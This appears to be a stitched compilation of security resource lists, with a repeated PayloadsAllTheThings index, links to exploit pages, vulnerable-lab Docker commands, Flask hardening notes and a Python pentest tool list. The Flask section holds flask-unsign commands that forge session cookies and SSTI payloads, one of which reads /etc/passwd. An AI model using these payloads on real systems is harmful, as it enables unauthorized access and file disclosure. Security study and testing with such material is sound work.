Escalation.md](https://github.com/Muhammd/Awesome-Payloads/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md) - [Metasploit - Cheatsheet.md](https://github.com/Muhammd/Awesome-Payloads/blob/master/Methodology%20and%20Resources/Metasploit%20-%20Cheatsheet.md) - [Methodology_and_enumeration.md](https://github.com/Muhammd/Awesome-Payloads/blob/master/Methodology%20and%20Resources/Methodology_and_enumeration.md) - [Network Pivoting Techniques.md](https://github.com/Muhammd/Awesome-Payloads/blob/master/Methodology%20and%20Resources/Network%20Pivoting%20Techniques.md) - [Network Discovery.md](https://github.com/Muhammd/Awesome-Payloads/blob/master/Methodology%20and%20Resources/Network%20Discovery.md) - [Reverse Shell Cheatsheet.md](https://github.com/Muhammd/Awesome-Payloads/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) - [Subdomains Enumeration.md](https://github.com/Muhammd/Awesome-Payloads/blob/master/Methodology%20and%20Resources/Subdomains%20Enumeration.md) - [Windows - Download and Execute.md](https://github.com/Muhammd/Awesome-Payloads/blob/master/Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute.md) - [Windows - Mimikatz.md](https://github.com/Muhammd/Awesome-Payloads/blob/master/Methodology%20and%20Resources/Windows%20-%20Mimikatz.md) - [Windows - Persistence.md](https://github.com/Muhammd/Awesome-Payloads/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md) - [Windows - Post Exploitation Koadic.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Post%20Exploitation%20Koadic.md) - [Windows - Privilege Escalation.md](https://github.com/Muhammd/Awesome-Payloads/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md) - [Windows - Using credentials.md](https://github.com/Muhammd/Awesome-Payloads/blob/master/Methodology%20and%20Resources/Windows%20-%20Using%20credentials.md) - [CVE Exploits](https://github.com/Muhammd/Awesome-Payloads/blob/master/CVE%20Exploits) - Apache Struts 2 CVE-2013-2251 CVE-2017-5638 CVE-2018-11776_.py - Apache Struts 2 CVE-2017-5638.py - Apache Struts 2 CVE-2017-9805.py - Apache Struts 2 CVE-2018-11776.py - Docker API RCE.py - Drupalgeddon2 CVE-2018-7600.rb - Heartbleed CVE-2014-0160.py - JBoss CVE-2015-7501.py - Jenkins CVE-2015-8103.py - Jenkins CVE-2016-0792.py - Shellshock CVE-2014-6271.py - Tomcat CVE-2017-12617.py - WebLogic CVE-2016-3510.py - WebLogic CVE-2017-10271.py - WebLogic CVE-2018-2894.py - WebSphere CVE-2015-7450.py ## Try Harder Ever wonder where you can use your knowledge ? The following list will help you find "targets" to improve your skills. - __Bug Bounty Platforms__ - [HackerOne](https://hackerone.com) - [BugCrowd](https://bugcrowd.com) - [Bounty Factory](https://bountyfactory.io) - [Synack](https://www.synack.com/) - [Intigriti](https://www.intigriti.com) - [List of Bounty Program](https://bugcrowd.com/list-of-bug-bounty-programs/) - __Online Platforms__ - [Hack The Box](https://hackthebox.eu/) - [Penetration test lab "Test lab" | Pentestit](https://lab.pentestit.ru) - [PentesterLab : Learn Web Penetration Testing: The Right Way](https://pentesterlab.com/) - [Zenk-Security](https://www.zenk-security.com/epreuves.php) - [Root-Me](https://www.root-me.org) - [W3Challs](https://w3challs.com/) - [NewbieContest](https://www.newbiecontest.org/) - [Vulnhub](https://www.vulnhub.com/) - [The Cryptopals Crypto Challenges](https://cryptopals.com/) - [alert(1) to win](https://alf.nu/alert1) - [Hacksplaining](https://www.hacksplaining.com/exercises) - [HackThisSite](https://hackthissite.org) - [Hackers.gg](hackers.gg) - [Mind Map - Penetration Testing Practice Labs - Aman Hardikar](http://www.amanhardikar.com/mindmaps/Practice.html) ## Book's list Grab a book and relax, these ones are the best security books (in my opinion). - [Web Hacking 101](https://leanpub.com/web-hacking-101) - [Breaking into Information Security: Learning the Ropes 101 - Andrew Gill](https://leanpub.com/ltr101-breaking-into-infosec) - [OWASP Testing Guide v4](https://www.owasp.org/index.php/OWASP_Testing_Project) - [Penetration Testing: A Hands-On Introduction to Hacking](http://amzn.to/2dhHTSn) - [The Hacker Playbook 2: Practical Guide to Penetration Testing](http://amzn.to/2d9wYKa) - [The Hacker Playbook 3: Practical Guide to Penetration Testing - Red Team Edition](http://a.co/6MqC9bD) - [The Mobile Application Hacker’s Handbook](http://amzn.to/2cVOIrE) - [Black Hat Python: Python Programming for Hackers and Pentesters](http://www.amazon.com/Black-Hat-Python-Programming-Pentesters/dp/1593275900) - [Metasploit: The Penetration Tester's Guide](https://www.nostarch.com/metasploit) - [The Database Hacker's Handbook, David Litchfield et al., 2005](http://www.wiley.com/WileyCDA/WileyTitle/productCd-0764578014.html) - [The Shellcoders Handbook by Chris Anley et al., 2007](http://www.wiley.com/WileyCDA/WileyTitle/productCd-047008023X.html) - [The Mac Hacker's Handbook by Charlie Miller & Dino Dai Zovi, 2009](http://www.wiley.com/WileyCDA/WileyTitle/productCd-0470395362.html) - [The Web Application Hackers Handbook by D. Stuttard, M. Pinto, 2011](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118026470.html) - [iOS Hackers Handbook by Charlie Miller et al., 2012](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118204123.html) - [Android Hackers Handbook by Joshua J. Drake et al., 2014](http://www.wiley.com/WileyCDA/WileyTitle/productCd-111860864X.html) - [The Browser Hackers Handbook by Wade Alcorn et al., 2014](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118662091.html) - [The Mobile Application Hackers Handbook by Dominic Chell et al., 2015](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118958500.html) - [Car Hacker's Handbook by Craig Smith, 2016](https://www.nostarch.com/carhacking) ## More resources ### Blogs/Websites - [BUG BOUNTY FIELD MANUAL: THE DEFINITIVE GUIDE FOR PLANNING, LAUNCHING, AND OPERATING A SUCCESSFUL BUG BOUNTY PROGRAM](https://www.hackerone.com/blog/the-bug-bounty-field-manual) - [How to become a Bug Bounty Hunter - Sam Houston](https://forum.bugcrowd.com/t/researcher-resources-how-to-become-a-bug-bounty-hunter/1102) - [Tips from Top Hackers – Bug Hunting methodology and the importance of writing quality submissions - Sam Houston](https://www.bugcrowd.com/tips-from-top-hackers-bug-hunting-methodology-and-the-importance-of-writing-quality-submissions/) - [ARNE SWINNEN'S SECURITY BLOG JUST ANOTHER INFOSEC BLOG](https://www.arneswinnen.net) - [XSS Jigsaw - innerht.ml](https://blog.innerht.ml) - [ZeroSec Blog: Featuring Write-Ups, Projects & Adventures](https://blog.zsec.uk/tag/ltr101/) ### Youtube - [IppSec Channel - Hack The Box Writeups](https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA) - [Hunting for Top Bounties - Nicolas Grégoire](https://www.youtube.com/watch?v=mQjTgDuLsp4) - [BSidesSF 101 The Tales of a Bug Bounty Hunter - Arne Swinnen](https://www.youtube.com/watch?v=dsekKYNLBbc) - [Security Fest 2016 The Secret life of a Bug Bounty Hunter - Frans Rosén](https://www.youtube.com/watch?v=KDo68Laayh8)
# Payloads All The Things A list of useful payloads and bypasses for Web Application Security. Feel free to improve with your payloads and techniques ! I <3 pull requests :) You can also contribute with a beer IRL or with `buymeacoffee.com` [![Coffee](https://www.buymeacoffee.com/assets/img/custom_images/orange_img.png)](https://buymeacoff.ee/swissky) Every section contains: - README.md - vulnerability description and how to exploit it - Intruders - a set of files to give to Burp Intruder - Some exploits You might also like : - [Methodology and Resources](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/) - [Active Directory Attack.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md) - [Methodology_and_enumeration.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Methodology_and_enumeration.md) - [Network Pivoting Techniques.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Network%20Pivoting%20Techniques.md) - [Network Discovery.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Network%20Discovery.md) - [Reverse Shell Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) - [Subdomains Enumeration.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Subdomains%20Enumeration.md) - [Windows - Download and Execute.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute.md) - [Windows - Mimikatz.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Mimikatz.md) - [Windows - Persistence.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md) - [Windows - Privilege Escalation.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md) - [Windows - Using credentials.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Using%20credentials.md) - [CVE Exploits](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits) - Apache Struts 2 CVE-2017-5638.py - Apache Struts 2 CVE-2017-9805.py - Drupalgeddon2 CVE-2018-7600.rb - Heartbleed CVE-2014-0160.py - Shellshock CVE-2014-6271.py - Tomcat CVE-2017-12617.py ## Try Harder Ever wonder where you can use your knowledge ? The following list will help you find "targets" to improve your skills. - __Bug Bounty Platforms__ - [HackerOne](https://hackerone.com) - [BugCrowd](https://bugcrowd.com) - [Bounty Factory](https://bountyfactory.io) - [Synack](https://www.synack.com/) - [Intigriti](https://www.intigriti.com) - [List of Bounty Program](https://bugcrowd.com/list-of-bug-bounty-programs/) - __Online Platforms__ - [Hack The Box](hackthebox.eu/) - [Penetration test lab "Test lab" | Pentestit](https://lab.pentestit.ru) - [PentesterLab : Learn Web Penetration Testing: The Right Way](https://pentesterlab.com/) - [Zenk-Security](https://www.zenk-security.com/epreuves.php) - [Root-Me](https://www.root-me.org) - [W3Challs](https://w3challs.com/) - [NewbieContest](https://www.newbiecontest.org/) - [Vulnhub](https://www.vulnhub.com/) - [The Cryptopals Crypto Challenges](https://cryptopals.com/) - [alert(1) to win](https://alf.nu/alert1) - [Hacksplaining](https://www.hacksplaining.com/exercises) - [HackThisSite](https://hackthissite.org) - [Hackers.gg](hackers.gg) - [Mind Map - Penetration Testing Practice Labs - Aman Hardikar](http://www.amanhardikar.com/mindmaps/Practice.html) ## Book's list Grab a book and relax, these ones are the best security books (in my opinion). - [Web Hacking 101](https://leanpub.com/web-hacking-101) - [Breaking into Information Security: Learning the Ropes 101 - Andrew Gill](https://leanpub.com/ltr101-breaking-into-infosec) - [OWASP Testing Guide v4](https://www.owasp.org/index.php/OWASP_Testing_Project) - [Penetration Testing: A Hands-On Introduction to Hacking](http://amzn.to/2dhHTSn) - [The Hacker Playbook 2: Practical Guide to Penetration Testing](http://amzn.to/2d9wYKa) - [The Hacker Playbook 3: Practical Guide to Penetration Testing - Red Team Edition](http://a.co/6MqC9bD) - [The Mobile Application Hacker’s Handbook](http://amzn.to/2cVOIrE) - [Black Hat Python: Python Programming for Hackers and Pentesters](http://www.amazon.com/Black-Hat-Python-Programming-Pentesters/dp/1593275900) - [Metasploit: The Penetration Tester's Guide](https://www.nostarch.com/metasploit) - [The Database Hacker's Handbook, David Litchfield et al., 2005](http://www.wiley.com/WileyCDA/WileyTitle/productCd-0764578014.html) - [The Shellcoders Handbook by Chris Anley et al., 2007](http://www.wiley.com/WileyCDA/WileyTitle/productCd-047008023X.html) - [The Mac Hacker's Handbook by Charlie Miller & Dino Dai Zovi, 2009](http://www.wiley.com/WileyCDA/WileyTitle/productCd-0470395362.html) - [The Web Application Hackers Handbook by D. Stuttard, M. Pinto, 2011](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118026470.html) - [iOS Hackers Handbook by Charlie Miller et al., 2012](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118204123.html) - [Android Hackers Handbook by Joshua J. Drake et al., 2014](http://www.wiley.com/WileyCDA/WileyTitle/productCd-111860864X.html) - [The Browser Hackers Handbook by Wade Alcorn et al., 2014](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118662091.html) - [The Mobile Application Hackers Handbook by Dominic Chell et al., 2015](http://www.wiley.com/WileyCDA/WileyTitle/productCd-1118958500.html) - [Car Hacker's Handbook by Craig Smith, 2016](https://www.nostarch.com/carhacking) ## More resources ### Blogs/Websites - [BUG BOUNTY FIELD MANUAL: THE DEFINITIVE GUIDE FOR PLANNING, LAUNCHING, AND OPERATING A SUCCESSFUL BUG BOUNTY PROGRAM](https://www.hackerone.com/blog/the-bug-bounty-field-manual) - [How to become a Bug Bounty Hunter - Sam Houston](https://forum.bugcrowd.com/t/researcher-resources-how-to-become-a-bug-bounty-hunter/1102) - [Tips from Top Hackers – Bug Hunting methodology and the importance of writing quality submissions - Sam Houston](https://www.bugcrowd.com/tips-from-top-hackers-bug-hunting-methodology-and-the-importance-of-writing-quality-submissions/) - [ARNE SWINNEN'S SECURITY BLOG JUST ANOTHER INFOSEC BLOG](https://www.arneswinnen.net) - [XSS Jigsaw - innerht.ml](https://blog.innerht.ml) - [ZeroSec Blog: Featuring Write-Ups, Projects & Adventures](https://blog.zsec.uk/tag/ltr101/) ### Youtube - [Hunting for Top Bounties - Nicolas Grégoire](https://www.youtube.com/watch?v=mQjTgDuLsp4) - [BSidesSF 101 The Tales of a Bug Bounty Hunter - Arne Swinnen](https://www.youtube.com/watch?v=dsekKYNLBbc) - [Security Fest 2016 The Secret life of a Bug Bounty Hunter - Frans Rosén](https://www.youtube.com/watch?v=KDo68Laayh8) - [IppSec Channel - Hack The Box Writeups](https://www.youtube.com/channel/UCa6eh7gCkpPo5XXUDfygQQA) ### Docker | Command | Link | | :------------- | :------------- | | `docker pull remnux/metasploit` | [docker-metasploit](https://hub.docker.com/r/remnux/metasploit/) | | `docker pull paoloo/sqlmap` | [docker-sqlmap](https://hub.docker.com/r/paoloo/sqlmap/) | | `docker pull kalilinux/kali-linux-docker` | [official Kali Linux](https://hub.docker.com/r/kalilinux/kali-linux-docker/) | | `docker pull owasp/zap2docker-stable` | [official OWASP ZAP](https://github.com/zaproxy/zaproxy) | | `docker pull wpscanteam/wpscan` | [official WPScan](https://hub.docker.com/r/wpscanteam/wpscan/) | | `docker pull infoslack/dvwa` | [Damn Vulnerable Web Application (DVWA)](https://hub.docker.com/r/infoslack/dvwa/) | | `docker run --name dvna -p 9090:9090 -d appsecco/dvna:sqlite` | [Damn Vulnerable NodeJS Application](https://github.com/appsecco/dvna) | | `docker pull danmx/docker-owasp-webgoat` | [OWASP WebGoat Project docker image](https://hub.docker.com/r/danmx/docker-owasp-webgoat/) | | `docker pull opendns/security-ninjas` | [Security Ninjas](https://hub.docker.com/r/opendns/security-ninjas/) | | `docker pull ismisepaul/securityshepherd` | [OWASP Security Shepherd](https://hub.docker.com/r/ismisepaul/securityshepherd/) | | `docker-compose build && docker-compose up` | [OWASP NodeGoat](https://github.com/owasp/nodegoat#option-3---run-nodegoat-on-docker) | | `docker pull citizenstig/nowasp` | [OWASP Mutillidae II Web Pen-Test Practice Application](https://hub.docker.com/r/citizenstig/nowasp/) | | `docker pull bkimminich/juice-shop` | [OWASP Juice Shop](https://github.com/bkimminich/juice-shop#docker-container) |
[1.1]: http://i.imgur.com/tXSoThF.png [1]: https://twitter.com/TobiunddasMoe # OpenBugBounty-Scrapper This script scrapes the list of open Bug Bounty Programs from openbugbounty.org ## Overview This script uses selenium to scrape all URLS and Domains from open Bug Bounty Programs from [openbugbounty.org](https://www.openbugbounty.org/bugbounty-list/). Those URLS can the be used in various recon Tools. ## Installation There is no installation needed. Just install the needed requierments using pip. ```bash pip install -r requirements.txt ``` ## Usage The Script can be executed with the following Command. The only needed Parameter is the amount of Pages this script should scrape. ```bash python3 BugBountyList.py 40 ``` ## Question If you have an question you can create an Issue or ping me on [![alt text][1.1]][1]
## # https://medium.com/swlh/hacking-flask-applications-939eae4bffed # ## ## Web Framework Hardening - [Secure.py](https://github.com/cakinney/secure.py) - secure.py 🔒 is a lightweight package that adds optional security headers and cookie attributes for Python web frameworks. - [Flask-HTTPAuth](https://github.com/miguelgrinberg/flask-httpauth/) - Simple extension that provides Basic, Digest and Token HTTP authentication for Flask routes. - [Flask Talisman](https://github.com/GoogleCloudPlatform/flask-talisman) - Talisman is a small Flask extension that handles setting HTTP headers that can help protect against a few common web application security issues. - [Django Session CSRF](https://github.com/mozilla/django-session-csrf) - CSRF protection for Django without cookies. ## Multi tools - [hawkeye](https://github.com/hawkeyesec/scanner-cli) - Multi purpose security/vulnerability/risk scanning tool supporting Ruby, Node.js, Python, PHP and Java. - [GuardRails](https://github.com/apps/guardrails) - A GitHub App that gives you instant security feedback in your Pull Requests. - [Hubble](https://github.com/hubblestack/hubble) - Hubble is a modular, open-source security compliance framework. - [Salus](https://github.com/coinbase/salus) - Multi purpose security scanning tool supporting Ruby, Node, Python and Go. ## Static Code Analysis - [Bandit](https://github.com/PyCQA/bandit) - Bandit is a tool designed to find common security issues in Python code. - [Pyt](https://github.com/python-security/pyt) - A Static Analysis Tool for Detecting Security Vulnerabilities in Python Web Applications. - [Detect Secrets](https://libraries.io/pypi/detect-secrets) - An enterprise friendly way of detecting and preventing secrets in code. ## Vulnerabilities and Security Advisories - [Safety](https://github.com/pyupio/safety) - Safety checks your installed dependencies for known security vulnerabilities. - [snyk Vulnerability DB](https://snyk.io/vuln?type=pip) - Commercial but free listing of known vulnerabilities in libraries. - [Common Vulnerabilities and Exposures](https://www.cvedetails.com/vulnerability-list/vendor_id-10210/product_id-18230/Python-Python.html) - Vulnerabilities that were assigned a CVE. Covers the language and packages. - [National Vulnerability Database](https://nvd.nist.gov/vuln/search/results?form_type=Basic&results_type=overview&query=python&search_type=all) - Python known vulnerabilities in the National Vulnerability Database. - ``` # https://github.com/Paradoxis/Flask-Unsign ``` pip3 install flask-unsign flask-unsign flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8' flask-unsign --decode --server 'https://www.example.com/login' flask-unsign --unsign --cookie < cookie.txt flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' # Python Flask SSTI Payloads and tricks * {{url_for.globals}} * {{request.environ}} * {{config}} * {{url_for.__globals__.__builtins__.open('/etc/passwd').read()}} * {{self}} * request|attr('class') == request.class == request[\x5f\x5fclass\x5f\x5f] ``` Vulnerable-Flask-App Erlik 2 - Vulnerable-Flask-App Tested - Kali 2022.1 ``` Description It is a vulnerable Flask Web App. It is a lab environment created for people who want to improve themselves in the field of web penetration testing. Features It contains the following vulnerabilities. -HTML Injection -XSS -SSTI -SQL Injection -Information Disclosure -Command Injection -Brute Force -Deserialization -Broken Authentication -DOS -File Upload Installation git clone https://github.com/anil-yelken/Vulnerable-Flask-App cd Vulnerable-Flask-App sudo pip3 install -r requirements.txt Usage python3 vulnerable-flask-app.py ``` Contact https://twitter.com/anilyelken06 https://medium.com/@anilyelken ###### ###### Pentest Report for [Application Name] Summary In this report, we present the findings of a penetration test conducted on the [Application Name] Flask application. The goal of this test was to identify any vulnerabilities or weaknesses that could be exploited by an attacker. Methodology The test was conducted using a combination of automated and manual techniques. Automated tools were used to scan for common vulnerabilities, such as SQL injection and cross-site scripting (XSS). Manual testing was performed to identify more complex vulnerabilities and to verify the results of the automated scans. Findings High Severity Issues Issue 1: SQL Injection Description We identified a SQL injection vulnerability in the login functionality of the application. An attacker could exploit this vulnerability to bypass authentication and gain unauthorized access to the application's database. Recommendation We recommend that the application's developers implement parameterized queries to prevent SQL injection attacks. Issue 2: Cross-Site Scripting (XSS) Description We identified a reflected XSS vulnerability in the search functionality of the application. An attacker could exploit this vulnerability to execute malicious scripts in the context of a victim's browser. Recommendation We recommend that the application's developers sanitize user input and encode output to prevent XSS attacks. Medium Severity Issues Issue 1: Session Fixation Description We identified a session fixation vulnerability in the application. An attacker could exploit this vulnerability to hijack a victim's session and gain unauthorized access to the application. Recommendation We recommend that the application's developers regenerate session IDs upon authentication. Issue 2: Insecure Communications Description We identified that the application is not using HTTPS to encrypt communications. This could allow an attacker to intercept and modify traffic, including authentication credentials. Recommendation We recommend that the application's developers implement HTTPS to secure communications. Low Severity Issues Issue 1: Information Leakage Description We identified that error messages are disclosing sensitive information, including database and server names. Recommendation We recommend that the application's developers review error handling and remove any sensitive information from error messages. Conclusion Overall, we identified several vulnerabilities in the [Application Name] Flask application, including a SQL injection vulnerability and a reflected XSS vulnerability. We recommend that the application's developers address these vulnerabilities to prevent potential attacks. Additionally, we recommend that the application's developers review and improve the application's security posture to prevent similar vulnerabilities in the future ``` Python tools for penetration testers ==================================== If you are involved in vulnerability research, reverse engineering or pentesting, I suggest to try out the [Python](http://www.python.org) programming language. It has a rich set of useful libraries and programs. This page lists some of them. Most of the listed tools are written in Python, others are just Python bindings for existing C libraries, i.e. they make those libraries easily usable from Python programs. Some of the more aggressive tools (pentest frameworks, bluetooth smashers, web application vulnerability scanners, war-dialers, etc.) are left out, because the legal situation of these tools is still a bit unclear in Germany -- even after the [decision of the highest court](http://www.bundesverfassungsgericht.de/entscheidungen/rk20090518_2bvr223307.html). This list is clearly meant to help whitehats, and for now I prefer to err on the safe side. ### Network - [Scapy](http://secdev.org/projects/scapy): send, sniff and dissect and forge network packets. Usable interactively or as a library - [pypcap](http://code.google.com/p/pypcap/), [Pcapy](http://oss.coresecurity.com/projects/pcapy.html) and [pylibpcap](http://pylibpcap.sourceforge.net/): several different Python bindings for libpcap - [libdnet](http://code.google.com/p/libdnet/): low-level networking routines, including interface lookup and Ethernet frame transmission - [dpkt](https://github.com/kbandla/dpkt): fast, simple packet creation/parsing, with definitions for the basic TCP/IP protocols - [Impacket](http://oss.coresecurity.com/projects/impacket.html): craft and decode network packets. Includes support for higher-level protocols such as NMB and SMB - [pynids](http://jon.oberheide.org/pynids/): libnids wrapper offering sniffing, IP defragmentation, TCP stream reassembly and port scan detection [Dirtbags py-pcap](https://github.com/dirtbags/py-pcap): read pcap files without libpcap - [flowgrep](http://monkey.org/~jose/software/flowgrep/): grep through packet payloads using regular expressions - [Knock Subdomain Scan](https://github.com/guelfoweb/knock), enumerate subdomains on a target domain through a wordlist - [Spyse](https://spyse.com/) - all in one recon service for IP, domains, AS, ports, etc... [py wrapper](https://github.com/zeropwn/spyse.py) - [SubBrute](https://github.com/TheRook/subbrute), fast subdomain enumeration tool - [Mallory](https://bitbucket.org/IntrepidusGroup/mallory), extensible TCP/UDP man-in-the-middle proxy, supports modifying non-standard protocols on the fly - [Pytbull](http://pytbull.sourceforge.net/): flexible IDS/IPS testing framework (shipped with more than 300 tests) - [Spoodle](https://github.com/vjex/spoodle): A mass subdomain + poodle vulnerability scanner - [SMBMap](https://github.com/ShawnDEvans/smbmap): enumerate Samba share drives across an entire domain - [Habu](https://github.com/portantier/habu): python network hacking toolkit ### Debugging and reverse engineering - [Paimei](https://github.com/OpenRCE/paimei): reverse engineering framework, includes [PyDBG](https://github.com/OpenRCE/pydbg), PIDA, pGRAPH - [Immunity Debugger](http://debugger.immunityinc.com/): scriptable GUI and command line debugger - [mona.py](https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/): PyCommand for Immunity Debugger that replaces and improves on pvefindaddr - [IDAPython](https://github.com/idapython/src): IDA Pro plugin that integrates the Python programming language, allowing scripts to run in IDA Pro - [PyEMU](http://code.google.com/p/pyemu/): fully scriptable IA-32 emulator, useful for malware analysis - [pefile](https://github.com/erocarrera/pefile): read and work with Portable Executable (aka PE) files - [pydasm](http://code.google.com/p/libdasm/source/browse/trunk/pydasm/pydasm.c): Python interface to the [libdasm](http://code.google.com/p/libdasm/) x86 disassembling library - [PyDbgEng](http://pydbgeng.sourceforge.net/): Python wrapper for the Microsoft Windows Debugging Engine - [uhooker](https://www.coresecurity.com/corelabs-research/open-source-tools/uhooker): intercept calls to API calls inside DLLs, and also arbitrary addresses within the executable file in memory - [diStorm](http://www.ragestorm.net/distorm/): disassembler library for AMD64, licensed under the BSD license - [Frida](http://www.frida.re/): A dynamic instrumentation framework which can inject scripts into running processes - [python-ptrace](http://python-ptrace.readthedocs.org/): debugger using ptrace (Linux, BSD and Darwin system call to trace processes) written in Python - [vdb / vtrace](http://code.google.com/p/vdebug/): vtrace is a cross-platform process debugging API implemented in python, and vdb is a debugger which uses it - [Androguard](https://github.com/androguard/androguard): reverse engineering and analysis of Android applications - [Capstone](http://www.capstone-engine.org/): lightweight multi-platform, multi-architecture disassembly framework with Python bindings - [Keystone](http://www.keystone-engine.org): lightweight multi-platform, multi-architecture assembler framework with Python bindings - [PyBFD](https://github.com/Groundworkstech/pybfd/): Python interface to the GNU Binary File Descriptor (BFD) library - [CHIPSEC](https://github.com/chipsec/chipsec): framework for analyzing the security of PC platforms including hardware, system firmware (BIOS/UEFI), and platform components. ### Fuzzing - [afl-python](http://jwilk.net/software/python-afl): enables American fuzzy lop fork server and instrumentation for pure-Python code - [Sulley](https://github.com/OpenRCE/sulley): fuzzer development and fuzz testing framework consisting of multiple extensible components - [Peach Fuzzing Platform](http://peachfuzz.sourceforge.net/): extensible fuzzing framework for generation and mutation based fuzzing (v2 was written in Python) - [antiparser](http://antiparser.sourceforge.net/): fuzz testing and fault injection API - [TAOF](http://sourceforge.net/projects/taof/), (The Art of Fuzzing) including ProxyFuzz, a man-in-the-middle non-deterministic network fuzzer - [untidy](http://untidy.sourceforge.net/): general purpose XML fuzzer - [Powerfuzzer](http://www.powerfuzzer.com/): highly automated and fully customizable web fuzzer (HTTP protocol based application fuzzer) - [SMUDGE](http://www.fuzzing.org/wp-content/SMUDGE.zip) - [Mistress](http://www.packetstormsecurity.org/fuzzer/mistress.rar): probe file formats on the fly and protocols with malformed data, based on pre-defined patterns - [Fuzzbox](https://isecpartners.com/tools/application-security/fuzzbox.aspx): multi-codec media fuzzer - [Forensic Fuzzing Tools](https://isecpartners.com/tools/application-security/forensic-fuzzing-tools.aspx): generate fuzzed files, fuzzed file systems, and file systems containing fuzzed files in order to test the robustness of forensics tools and examination systems - [Windows IPC Fuzzing Tools](https://isecpartners.com/tools/application-security/windows-ipc-fuzzing-tools.aspx): tools used to fuzz applications that use Windows Interprocess Communication mechanisms - [WSBang](https://www.isecpartners.com/tools/application-security/wsbang.aspx): perform automated security testing of SOAP based web services - [Construct](http://construct.readthedocs.org/): library for parsing and building of data structures (binary or textual). Define your data structures in a declarative manner - [fuzzer.py (feliam)](http://sites.google.com/site/felipeandresmanzano/fuzzer.py?attredirects=0): simple fuzzer by Felipe Andres Manzano - [Fusil](http://fusil.readthedocs.org/): Python library used to write fuzzing programs ### Web - [Requests](http://python-requests.org/): elegant and simple HTTP library, built for human beings - [lxml](http://lxml.de/index.html): easy-to-use library for processing XML and HTML; similar to Requests - [HTTPie](http://httpie.org): human-friendly cURL-like command line HTTP client - [ProxMon](https://www.isecpartners.com/tools/application-security/proxmon.aspx): processes proxy logs and reports discovered issues - [WSMap](https://www.isecpartners.com/tools/application-security/wsmap.aspx): find web service endpoints and discovery files - [Twill](http://twill.idyll.org/): browse the Web from a command-line interface. Supports automated Web testing - [Ghost.py](http://jeanphix.me/Ghost.py/): webkit web client written in Python - [Windmill](http://www.getwindmill.com/): web testing tool designed to let you painlessly automate and debug your web application - [FunkLoad](http://funkload.nuxeo.org/): functional and load web tester - [spynner](https://github.com/makinacorpus/spynner): Programmatic web browsing module for Python with Javascript/AJAX support - [python-spidermonkey](http://code.google.com/p/python-spidermonkey/): bridge to the Mozilla SpiderMonkey JavaScript engine; allows for the evaluation and calling of Javascript scripts and functions - [mitmproxy](http://mitmproxy.org/): SSL-capable, intercepting HTTP proxy. Console interface allows traffic flows to be inspected and edited on the fly - [pathod / pathoc](http://pathod.net/): pathological daemon/client for tormenting HTTP clients and servers - [spidy](https://github.com/rivermont/spidy/): simple command-line web crawler with page downloading and word scraping ### Forensics - [Volatility](http://www.volatilityfoundation.org/): extract digital artifacts from volatile memory (RAM) samples - [Rekall](http://www.rekall-forensic.com): memory analysis framework developed by Google - [LibForensics](http://code.google.com/p/libforensics/): library for developing digital forensics applications - [TrIDLib](http://mark0.net/code-tridlib-e.html), identify file types from their binary signatures. Now includes Python binding - [aft](http://code.google.com/p/aft/): Android forensic toolkit ### Malware analysis - [pyew](https://github.com/joxeankoret/pyew): command line hexadecimal editor and disassembler, mainly to analyze malware - [Exefilter](http://www.decalage.info/exefilter): filter file formats in e-mails, web pages or files. Detects many common file formats and can remove active content - [pyClamAV](http://xael.org/norman/python/pyclamav/index.html): add virus detection capabilities to your Python software - [jsunpack-n](https://github.com/urule99/jsunpack-n), generic JavaScript unpacker: emulates browser functionality to detect exploits that target browser and browser plug-in vulnerabilities - [yara-python](https://github.com/VirusTotal/yara-python): identify and classify malware samples - [phoneyc](https://github.com/honeynet/phoneyc): pure Python honeyclient implementation - [CapTipper](https://github.com/omriher/CapTipper): analyse, explore and revive HTTP malicious traffic from PCAP file ### PDF - [peepdf](http://eternal-todo.com/tools/peepdf-pdf-analysis-tool): Python tool to analyse and explore PDF files to find out if they can be harmful - [Didier Stevens' PDF tools](http://blog.didierstevens.com/programs/pdf-tools): analyse, identify and create PDF files (includes [PDFiD](http://blog.didierstevens.com/programs/pdf-tools/#pdfid), [pdf-parser](http://blog.didierstevens.com/programs/pdf-tools/#pdf-parser) and 